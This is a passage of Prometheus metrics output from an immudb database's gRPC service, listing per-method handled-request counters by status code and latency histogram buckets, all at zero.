0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="GetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="GetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="GetUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="Health",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="History",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="HistorySV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="IScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="IScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="Inclusion",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="ListUsers",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="Login",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="Logout",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="Reference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="SafeGet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="SafeGetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="SafeReference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="SafeSet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="SafeSetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="SafeZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="Scan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="ScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="Set",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="SetActiveUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="SetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="SetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="SetPermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="SetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="UpdateAuthConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="UpdateMTLSConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="UseDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="ZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="ZScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="ZScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="ByIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="ByIndexSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="BySafeIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="ChangePassword",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="ChangePermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="Consistency",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="Count",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="CreateDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="CreateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="CurrentRoot",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="DatabaseList",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="DeactivateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="Dump",grpc_service="immudb.schema.ImmuService",grpc_type="server_stream"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="Get",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="GetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="GetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="GetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="GetUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="Health",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="History",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="HistorySV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="IScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="IScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="Inclusion",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="ListUsers",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="Login",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="Logout",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="Reference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="SafeGet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="SafeGetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="SafeReference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="SafeSet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="SafeSetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="SafeZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="Scan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="ScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="Set",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="SetActiveUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="SetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="SetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="SetPermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="SetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="UpdateAuthConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="UpdateMTLSConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="UseDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="ZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="ZScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unimplemented",grpc_method="ZScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="ByIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="ByIndexSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="BySafeIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="ChangePassword",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="ChangePermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="Consistency",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="Count",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="CreateDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="CreateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="CurrentRoot",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="DatabaseList",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="DeactivateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="Dump",grpc_service="immudb.schema.ImmuService",grpc_type="server_stream"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="Get",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="GetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="GetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="GetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="GetUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="Health",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="History",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="HistorySV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="IScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="IScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="Inclusion",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="ListUsers",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="Login",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="Logout",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="Reference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="SafeGet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="SafeGetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="SafeReference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="SafeSet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="SafeSetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="SafeZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="Scan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="ScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="Set",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="SetActiveUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="SetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="SetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="SetPermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="SetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="UpdateAuthConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="UpdateMTLSConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="UseDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="ZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="ZScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unknown",grpc_method="ZScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 # HELP grpc_server_handling_seconds Histogram of response latency (seconds) of gRPC that had been application-level handled by the server. # TYPE grpc_server_handling_seconds histogram grpc_server_handling_seconds_bucket{grpc_method="ByIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="ByIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="ByIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="ByIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="ByIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="ByIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="ByIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="ByIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="ByIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="ByIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="ByIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="ByIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="ByIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="ByIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="ByIndexSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="ByIndexSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="ByIndexSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="ByIndexSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="ByIndexSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="ByIndexSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="ByIndexSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="ByIndexSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="ByIndexSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="ByIndexSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="ByIndexSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="ByIndexSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="ByIndexSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="ByIndexSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="BySafeIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="BySafeIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="BySafeIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="BySafeIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="BySafeIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="BySafeIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="BySafeIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="BySafeIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="BySafeIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="BySafeIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="BySafeIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="BySafeIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="BySafeIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="BySafeIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="ChangePassword",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="ChangePassword",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="ChangePassword",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="ChangePassword",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="ChangePassword",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="ChangePassword",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="ChangePassword",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="ChangePassword",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="ChangePassword",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="ChangePassword",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="ChangePassword",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="ChangePassword",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="ChangePassword",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="ChangePassword",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="ChangePermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="ChangePermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="ChangePermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="ChangePermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="ChangePermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="ChangePermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="ChangePermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="ChangePermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="ChangePermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="ChangePermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="ChangePermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="ChangePermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="ChangePermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="ChangePermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="Consistency",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="Consistency",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="Consistency",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="Consistency",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="Consistency",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="Consistency",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="Consistency",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="Consistency",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="Consistency",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="Consistency",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="Consistency",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="Consistency",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="Consistency",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="Consistency",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="Count",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="Count",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="Count",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="Count",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="Count",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="Count",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="Count",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="Count",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="Count",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="Count",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="Count",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 